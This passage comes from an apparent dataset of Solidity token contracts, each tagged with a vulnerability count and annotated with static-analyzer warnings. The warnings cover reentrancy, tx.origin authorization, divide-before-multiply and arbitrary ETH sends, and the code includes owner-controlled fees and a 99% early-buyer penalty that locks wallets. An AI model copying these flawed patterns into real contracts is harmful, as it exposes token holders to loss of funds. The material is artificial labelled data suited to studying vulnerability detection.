swapTokensAtAmount = newAmount;\n }\n\n function _excludeFromMaxTransaction(\n address updAds,\n bool isExcluded\n ) private {\n _isExcludedMaxTransactionAmount[updAds] = isExcluded;\n\n emit MaxTransactionExclusion(updAds, isExcluded);\n }\n\n function excludeFromMax(address updAds, bool isEx) external onlyOwner {\n if (!isEx) {\n require(\n updAds != lpPair,\n \"Cannot remove uniswap pair from max txn\"\n );\n }\n\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function setAMM(address pair, bool value) external onlyOwner {\n require(pair != lpPair, \"The pair cannot be removed\");\n\n _setAutomatedMarketMakerPair(pair, value);\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n _excludeFromMaxTransaction(pair, value);\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cc11974): Missing events for critical arithmetic parameters.\n\t// Recommendation for cc11974: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _operationsFee,\n uint256 _liquidityFee,\n uint256 _DevFee,\n uint256 _burnFee\n ) external onlyOwner {\n\t\t// events-maths | ID: cc11974\n buyOperationsFee = _operationsFee;\n\n\t\t// events-maths | ID: cc11974\n buyLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: cc11974\n buyDevFee = _DevFee;\n\n\t\t// events-maths | ID: cc11974\n buyBurnFee = _burnFee;\n\n\t\t// events-maths | ID: cc11974\n buyTotalFees =\n buyOperationsFee +\n buyLiquidityFee +\n buyDevFee +\n buyBurnFee;\n\n require(buyTotalFees <= 20, \"Must keep fees at 20% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a089dde): Missing events for critical arithmetic parameters.\n\t// Recommendation for a089dde: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _operationsFee,\n uint256 _liquidityFee,\n uint256 _DevFee,\n uint256 _burnFee\n ) external onlyOwner {\n\t\t// events-maths | ID: a089dde\n sellOperationsFee = _operationsFee;\n\n\t\t// events-maths | ID: a089dde\n sellLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: a089dde\n sellDevFee = _DevFee;\n\n\t\t// events-maths | ID: a089dde\n sellBurnFee = _burnFee;\n\n\t\t// events-maths | ID: a089dde\n sellTotalFees =\n sellOperationsFee +\n sellLiquidityFee +\n sellDevFee +\n sellBurnFee;\n\n require(sellTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n function returnToStandardTax() external onlyOwner {\n sellOperationsFee = 20;\n\n sellLiquidityFee = 0;\n\n sellDevFee = 0;\n\n sellBurnFee = 0;\n\n sellTotalFees =\n sellOperationsFee +\n sellLiquidityFee +\n sellDevFee +\n sellBurnFee;\n\n require(sellTotalFees <= 20, \"Must keep fees at 20% or less\");\n\n buyOperationsFee = 25;\n\n buyLiquidityFee = 0;\n\n buyDevFee = 0;\n\n buyBurnFee = 0;\n\n buyTotalFees =\n buyOperationsFee +\n buyLiquidityFee +\n buyDevFee +\n buyBurnFee;\n\n require(buyTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cda6621): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cda6621: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c102732): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c102732: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: cc6b5e3): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for cc6b5e3: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4e96370): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 4e96370: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b7cc949): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 99) / 100 tokensForBurn += (fees * buyBurnFee) / buyTotalFees\n\t// Recommendation for b7cc949: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f6b1d1f): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * sellTotalFees) / 100 tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for f6b1d1f: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: dbe1e9a): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees\n\t// Recommendation for dbe1e9a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5ae9162): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for 5ae9162: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1560d8a): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForOperations += (fees * buyOperationsFee) / buyTotalFees\n\t// Recommendation for 1560d8a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9547438): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 99) / 100 tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for 9547438: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 72428db): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 99) / 100 tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees\n\t// Recommendation for 72428db: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d9f1966): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for d9f1966: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b82defd): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * sellTotalFees) / 100 tokensForBurn += (fees * sellBurnFee) / sellTotalFees\n\t// Recommendation for b82defd: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6789f7a): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 99) / 100 tokensForOperations += (fees * buyOperationsFee) / buyTotalFees\n\t// Recommendation for 6789f7a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 79f826e): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForBurn += (fees * buyBurnFee) / buyTotalFees\n\t// Recommendation for 79f826e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c01c68f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c01c68f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"amount must be greater than 0\");\n\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (blockForPenaltyEnd > 0) {\n require(\n !boughtEarly[from] || to == owner() || to == address(0xdead),\n \"Bots cannot transfer tokens in or out except to owner or dead address.\"\n );\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n if (transferDelayEnabled) {\n if (to != address(dexRouter) && to != address(lpPair)) {\n\t\t\t\t\t\t// tx-origin | ID: cc6b5e3\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number - 2 &&\n _holderLastTransferTimestamp[to] <\n block.number - 2,\n \"_transfer:: Transfer Delay enabled. Try again later.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n\n _holderLastTransferTimestamp[to] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxBuy,\n \"Buy transfer amount exceeds the max buy.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Cannot Exceed max wallet\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxSell,\n \"Sell transfer amount exceeds the max sell.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Cannot Exceed max wallet\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: cda6621\n\t\t\t// reentrancy-benign | ID: c102732\n\t\t\t// reentrancy-eth | ID: c01c68f\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: c01c68f\n swapping = false;\n }\n\n bool takeFee = true;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (\n earlyBuyPenaltyInEffect() &&\n automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to] &&\n buyTotalFees > 0\n ) {\n if (!boughtEarly[to]) {\n\t\t\t\t\t// reentrancy-eth | ID: c01c68f\n boughtEarly[to] = true;\n\n\t\t\t\t\t// reentrancy-benign | ID: c102732\n botsCaught += 1;\n\n\t\t\t\t\t// reentrancy-events | ID: cda6621\n emit CaughtEarlyBuyer(to);\n }\n\n\t\t\t\t// divide-before-multiply | ID: b7cc949\n\t\t\t\t// divide-before-multiply | ID: 9547438\n\t\t\t\t// divide-before-multiply | ID: 72428db\n\t\t\t\t// divide-before-multiply | ID: 6789f7a\n fees = (amount * 99) / 100;\n\n\t\t\t\t// divide-before-multiply | ID: 72428db\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 6789f7a\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 9547438\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: b7cc949\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForBurn += (fees * buyBurnFee) / buyTotalFees;\n } else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 4e96370\n\t\t\t\t// divide-before-multiply | ID: f6b1d1f\n\t\t\t\t// divide-before-multiply | ID: d9f1966\n\t\t\t\t// divide-before-multiply | ID: b82defd\n fees = (amount * sellTotalFees) / 100;\n\n\t\t\t\t// divide-before-multiply | ID: 4e96370\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: d9f1966\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForOperations +=\n (fees * sellOperationsFee) /\n sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: f6b1d1f\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: b82defd\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForBurn += (fees * sellBurnFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: dbe1e9a\n\t\t\t\t// divide-before-multiply | ID: 5ae9162\n\t\t\t\t// divide-before-multiply | ID: 1560d8a\n\t\t\t\t// divide-before-multiply | ID: 79f826e\n fees = (amount * buyTotalFees) / 100;\n\n\t\t\t\t// divide-before-multiply | ID: dbe1e9a\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 1560d8a\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 5ae9162\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 79f826e\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n tokensForBurn += (fees * buyBurnFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: cda6621\n\t\t\t\t// reentrancy-eth | ID: c01c68f\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: cda6621\n\t\t// reentrancy-eth | ID: c01c68f\n super._transfer(from, to, amount);\n }\n\n function earlyBuyPenaltyInEffect() public view returns (bool) {\n return block.number < blockForPenaltyEnd;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: cda6621\n\t\t// reentrancy-events | ID: b4a674a\n\t\t// reentrancy-events | ID: 39b91eb\n\t\t// reentrancy-benign | ID: 8e99d27\n\t\t// reentrancy-benign | ID: c102732\n\t\t// reentrancy-benign | ID: 71c776c\n\t\t// reentrancy-no-eth | ID: 4f0e806\n\t\t// reentrancy-eth | ID: c01c68f\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4b06f96): runner.addLiquidity(uint256,uint256) ignores return value by dexRouter.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(0xdead),block.timestamp)\n\t// Recommendation for 4b06f96: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: cda6621\n\t\t// reentrancy-events | ID: b4a674a\n\t\t// reentrancy-events | ID: 39b91eb\n\t\t// reentrancy-benign | ID: 8e99d27\n\t\t// reentrancy-benign | ID: c102732\n\t\t// reentrancy-benign | ID: 71c776c\n\t\t// unused-return | ID: 4b06f96\n\t\t// reentrancy-eth | ID: c01c68f\n dexRouter.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(0xdead),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b4a674a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b4a674a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8e99d27): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8e99d27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4f0e806): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4f0e806: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4d10a29): runner.swapBack() sends eth to arbitrary user Dangerous calls (success,None) = address(operationsAddress).call{value address(this).balance}()\n\t// Recommendation for 4d10a29: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: fa26da6): runner.swapBack().success is written in both (success,None) = address(devAddress).call{value ethForDev}() (success,None) = address(operationsAddress).call{value address(this).balance}()\n\t// Recommendation for fa26da6: Fix or remove the writes.\n function swapBack() private {\n if (tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn) {\n _burn(address(this), tokensForBurn);\n }\n\n tokensForBurn = 0;\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForOperations +\n tokensForDev;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n bool success;\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n\n\t\t// reentrancy-events | ID: b4a674a\n\t\t// reentrancy-benign | ID: 8e99d27\n\t\t// reentrancy-no-eth | ID: 4f0e806\n swapTokensForEth(contractBalance - liquidityTokens);\n\n uint256 ethBalance = address(this).balance;\n\n uint256 ethForLiquidity = ethBalance;\n\n uint256 ethForOperations = (ethBalance * tokensForOperations) /\n (totalTokensToSwap - (tokensForLiquidity / 2));\n\n uint256 ethForDev = (ethBalance * tokensForDev) /\n (totalTokensToSwap - (tokensForLiquidity / 2));\n\n ethForLiquidity -= ethForOperations + ethForDev;\n\n\t\t// reentrancy-no-eth | ID: 4f0e806\n tokensForLiquidity = 0;\n\n\t\t// reentrancy-no-eth | ID: 4f0e806\n tokensForOperations = 0;\n\n\t\t// reentrancy-no-eth | ID: 4f0e806\n tokensForDev = 0;\n\n\t\t// reentrancy-no-eth | ID: 4f0e806\n tokensForBurn = 0;\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: b4a674a\n\t\t\t// reentrancy-benign | ID: 8e99d27\n addLiquidity(liquidityTokens, ethForLiquidity);\n }\n\n\t\t// reentrancy-events | ID: cda6621\n\t\t// reentrancy-events | ID: 39b91eb\n\t\t// reentrancy-benign | ID: c102732\n\t\t// reentrancy-benign | ID: 71c776c\n\t\t// write-after-write | ID: fa26da6\n\t\t// reentrancy-eth | ID: c01c68f\n (success, ) = address(devAddress).call{value: ethForDev}(\"\");\n\n\t\t// reentrancy-events | ID: cda6621\n\t\t// reentrancy-events | ID: 39b91eb\n\t\t// reentrancy-benign | ID: c102732\n\t\t// reentrancy-benign | ID: 71c776c\n\t\t// write-after-write | ID: fa26da6\n\t\t// reentrancy-eth | ID: c01c68f\n\t\t// arbitrary-send-eth | ID: 4d10a29\n (success, ) = address(operationsAddress).call{\n value: address(this).balance\n }(\"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aa820c1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aa820c1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferForeignToken(\n address _token,\n address _to\n ) external onlyOwner returns (bool _sent) {\n require(_token != address(0), \"_token address cannot be 0\");\n\n require(_token != address(this), \"Can't withdraw native tokens\");\n\n uint256 _contractBalance = IERC20(_token).balanceOf(address(this));\n\n\t\t// reentrancy-events | ID: aa820c1\n _sent = IERC20(_token).transfer(_to, _contractBalance);\n\n\t\t// reentrancy-events | ID: aa820c1\n emit TransferForeignToken(_token, _contractBalance);\n }\n\n function withdrawStuckETH() external onlyOwner {\n bool success;\n\n (success, ) = address(msg.sender).call{value: address(this).balance}(\n \"\"\n );\n }\n\n function setOpsAddress(address _operationsAddress) external onlyOwner {\n require(\n _operationsAddress != address(0),\n \"_operationsAddress address cannot be 0\"\n );\n\n operationsAddress = payable(_operationsAddress);\n }\n\n function setDevAddress(address _devAddress) external onlyOwner {\n require(_devAddress != address(0), \"_devAddress address cannot be 0\");\n\n devAddress = payable(_devAddress);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 39b91eb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 39b91eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 71c776c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 71c776c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function forceSwapBack() external onlyOwner {\n require(\n balanceOf(address(this)) >= swapTokensAtAmount,\n \"Can only swap when token amount is at or higher than restriction\"\n );\n\n swapping = true;\n\n\t\t// reentrancy-events | ID: 39b91eb\n\t\t// reentrancy-benign | ID: 71c776c\n swapBack();\n\n\t\t// reentrancy-benign | ID: 71c776c\n swapping = false;\n\n\t\t// reentrancy-events | ID: 39b91eb\n emit OwnerForcedSwapBack(block.timestamp);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6b46d50): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6b46d50: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyBack(uint256 amountInWei) external onlyOwner {\n require(\n amountInWei <= 10 ether,\n \"May not buy more than 10 ETH in a single buy to reduce sandwich attacks\"\n );\n\n address[] memory path = new address[](2);\n\n path[0] = dexRouter.WETH();\n\n path[1] = address(this);\n\n\t\t// reentrancy-events | ID: 6b46d50\n dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{\n value: amountInWei\n }(0, path, address(0xdead), block.timestamp);\n\n\t\t// reentrancy-events | ID: 6b46d50\n emit BuyBackTriggered(amountInWei);\n }\n}\n",
"file_name": "solidity_code_10809.sol",
"size_bytes": 42271,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 2393e41\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 2393e41\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 5c2364a\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function 